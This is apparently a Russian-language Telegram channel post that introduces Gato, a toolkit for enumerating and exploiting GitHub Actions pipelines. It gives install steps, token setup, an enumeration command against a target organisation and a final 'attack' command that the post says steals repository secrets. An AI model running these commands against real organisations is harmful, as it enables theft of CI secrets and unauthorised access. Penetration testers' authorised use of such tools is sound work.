tgoop.com/codeby_sec/9415
Last Update:
Gato (Github Attack TOolkit)
Инструмент, который позволяет выявлять и эксплуатировать уязвимости конвейеров в публичных и приватных репозиториях организации на GitHub. Содержит возможности пост-эксплуатации для использования скомпрометированного токена персонального доступа и возможность поиска секретов в GitHub Actions и артефактах публичных репозиториев.
Характеристики
git clone https://github.com/praetorian-inc/gato && cd gato
python3 -m venv venv && source venv/bin/activate
pip install .
Для работы инструмента требуется классический токен GitHub или токен для установки приложения. Чтобы создать его, необходимо войти в GitHub => Настройки разработчика GitHub => Generate New Token => Generate new token (classic).
После создания этого токена установите переменную среды GH_TOKEN в своей оболочке, выполнив команду
export GH_TOKEN=<YOUR_CREATED_TOKEN>
. Либо сохраните токен в безопасном менеджере паролей и вводите его при появлении запроса в приложении. При создании токена должно быть как минимум разрешения Actions:read и Contents:read для выполнения модулей перечисления.После установки инструмента его можно запустить, введя команду gato или praetorian-gato. Просматривать параметры базового инструмента можно с помощью
gato -h
, а параметры каждого из модулей инструмента — с помощью следующих команды:Сперва необходимо проверить токен
gato e -v
.Допустим ваша цель - EvilCorp. Данная команда выведет список всех репозиториев evilcorp в GitHub. Она определит права доступа пользователя к каждому репозиторию и предоставит информацию о том, к чему у этого пользователя есть доступ.
gato -s e -t evilcorp -oJ evilcorp_gato.json
Если инструмент обнаружил, что пользователь может получить доступ к секретным данным из EvilRepository, и, поскольку токен имеет область действия рабочего процесса, пользователь может украсть их с помощью следующей команды.
gato -s attack -t evilcorp/evilrepository --secrets --delete-action